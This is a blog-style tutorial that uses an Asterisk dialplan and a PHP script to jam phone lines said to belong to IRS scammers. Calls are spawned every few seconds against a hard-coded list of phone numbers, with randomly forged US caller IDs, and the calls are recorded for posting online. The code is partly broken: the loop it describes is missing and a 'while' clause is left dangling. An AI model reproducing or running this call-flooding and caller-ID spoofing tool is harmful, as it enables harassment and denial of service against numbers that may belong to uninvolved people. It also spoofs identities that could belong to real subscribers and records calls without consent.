How to get back and annoy IRS and other scammers

We have all received  calls from the IRS scammers and the like annoying us to no end and trying to scam us out of our hard earned money. Till now there two ways to get back at them.


  1. Keep them on the phone thinking they have a fish and waste their time.
  2. Do a LRN lookup on the number, report it and check back to see if the line was taking down.

Both options are gratifying to an extent however the first one only ties up one scammer and the second takes time, some times lots of time. Now there is a better way, we can jam up their lines and annoy them. The added bonus here above the other options is that no one can call them back and get suckered in. All you need is some basic Asterisk skills and a carrier that is willing to take your calls.

This is done in 5 easy steps.

DISCLAIMER: Before trying what is listed below make sure you are following all local laws and regulations. Lastly make sure your carriers wont have a problem with such traffic.

Step 1:

Check @IamAlogical on twitter for a list of the latest numbers being used by scammers, she usually has multiple updates daily.

Step 2:

Go to and generate some message(s) that we want to play to the scammers. For our our demo we will create three. Name them 1-scammer.wav, 2-scammer.wav etc.  Upload them to the Asterisk sounds directory (for instances if you are using English upload the files to /var/lib/asterisk/sounds/en)

Step 3:

Put the code below in to your Asterisk dial plan.

Exten => _X.,1,Dial(SIP/${EXTEN}@OUR_SIP_PEER,30,L(${RAND(30,60)}000))

Exten => s,1,Answer
Exten => s,n,Monitor(wav:,/var/spool/asterisk/monitor/scammers/${UNIQUEID})
Exten => s,n,WaitExten(1)
Exten => s,n,PlayBack(${RAND(1,3)}-scammer)
Exten => s,n,PlayBack(${RAND(1,3)}-scammer)


Here is an explination of the above.

The first context call-scammer1 is where we will tell our call file to send the first leg of the call. We can have the call file send the call directly to our carrier but it makes it easier when we have everything in the dialplan should we want to tweak anything, add extra functionality etc. In the dial command we have the L option and we set the call to hangup anywhere from 30 to 60 seconds after it is answered. The reason for this is in case they put us on hold tying up all of our channels, preventing us from annoying them. Make sure to update OUR_SIP_PEER to your SIP peers name in sip.conf. If using PJSIP update the dial plan accordingly.

The second context handles the call once they answer. First we answer the call. We then use the monitor application to record the call. The reason we use Monitor and NOT mixmonitor is so that we can record the legs separately. If we play audio to them as they answer the call the audio will be mixed we will miss out on them cursing us out.  After that we have a WaitExten. This may need to be tweaked if they have a pause on their end trying to weed out pests like us. Lastly we use Play them the messages that we uploaded earlier. We use the RAND function to generate a number between 1 and 3 and then play that sound file. So if RAND is set to 1 we will play them 1-scammer.wav

Step 4:
Below is a sample PHP script that will generate a valid US phone number and generate a new call every 1 to 3 seconds.

$fraudsters = array('2532380054', '2026210650', '8436372909', '7088442131');
// List of valid US area codes
$us_area_codes = array('201','202','203','205','206','207','208','209','210','212','213','214','215','216','217','218','219','224','225','228','229','231','234','239','240','248','251','252','253','254','256','260','262','267','269','270','276','281','283','301','302','303','304','305','307','308','309','310','312','313','314','315','316','317','318','319','320','321','323','325','330','331','334','336','337','339','340','341','346','347','351','352','360','361','369','380','385','386','401','402','404','405','406','407','408','409','410','412','413','414','415','417','419','423','424','425','430','432','434','435','440','442','443','464','469','470','475','478','479','480','484','501','502','503','504','505','507','508','509','510','512','513','515','516','517','518','520','530','540','541','551','556','557','559','561','562','563','564','567','570','571','573','574','575','580','585','586','601','602','603','605','606','607','608','609','610','612','614','615','616','617','618','619','620','623','626','627','628','630','631','636','641','646','650','651','656','657','659','660','661','662','667','669','678','679','681','682','689','701','702','703','704','706','707','708','710','712','713','714','715','716','717','718','719','720','724','725','727','731','732','734','737','740','747','752','754','757','760','762','763','764','765','769','770','772','773','774','775','779','781','785','786','787','801','802','803','804','805','806','808','810','812','813','814','815','816','817','818','828','830','831','832','835','843','845','847','848','850','856','857','858','859','860','862','863','864','865','870','872','878','901','903','904','906','907','908','909','910','912','913','914','915','916','917','918','919','920','925','928','929','931','935','936','937','939','940','941','947','949','951','952','954','956','959','970','971','972','973','975','978','979','980','984','985','989');
// List of NPA's that are NOT valid.
$bad_npa = array(211,311,411,511,611,711,811,911,555);

$fraudster_count = (count($fraudsters) - 1);
$us_area_codes_count = (count($us_area_codes) - 1);

$num_to_call = $fraudsters[rand(0, $fraudster_count)]; // Generate a random number from 0 till the total amount of scammers we have and pick one of them.

// Generate a valid NPA
$npa = rand(200,999);
} while (in_array($npa, $bad_npa));

$caller_id = $us_area_codes[rand(0, $us_area_codes_count)].$npa.str_pad(rand(0,9999), 4, '0', STR_PAD_LEFT);

echo "We will call $num_to_call with a caller ID of $caller_id\n";

$file = "channel: Local/$num_to_call@call-scammer1\n";
$file .= "Context: call-scammer2\n";
$file .= "Extension: s\n";
$file .= "Priority: 1\n";
$file .= "WaitTime: 180\n";
$file .= "CallerID: \"$caller_id\" <$caller_id>\n";

// Place the file in the outgoind directory so Asterisk finds it and makes the call.
file_put_contents('/var/spool/asterisk/outgoing/'.$caller_id, $file);


In the first line of code we have an array ($fraudsters) of all the scammers we want to target. The next line has an array ($us_aea_codes) with all the current US area codes.  The code after that picks a random number from the scammers list to call. It then users the $us_area_codes prefix along with $bad_nap (which is a list of non valid NPA’s) to generate a fictitious caller ID. After that the code takes all the information puts in a call file and puts in the Asterisk outgoing spool directory. The code then waits anywhere from 1 to 3 seconds to repeat the process and generate a new call.

Step 5:
Download the call recordings and make a viral YouTube video!

Leave a comment

Leave a Reply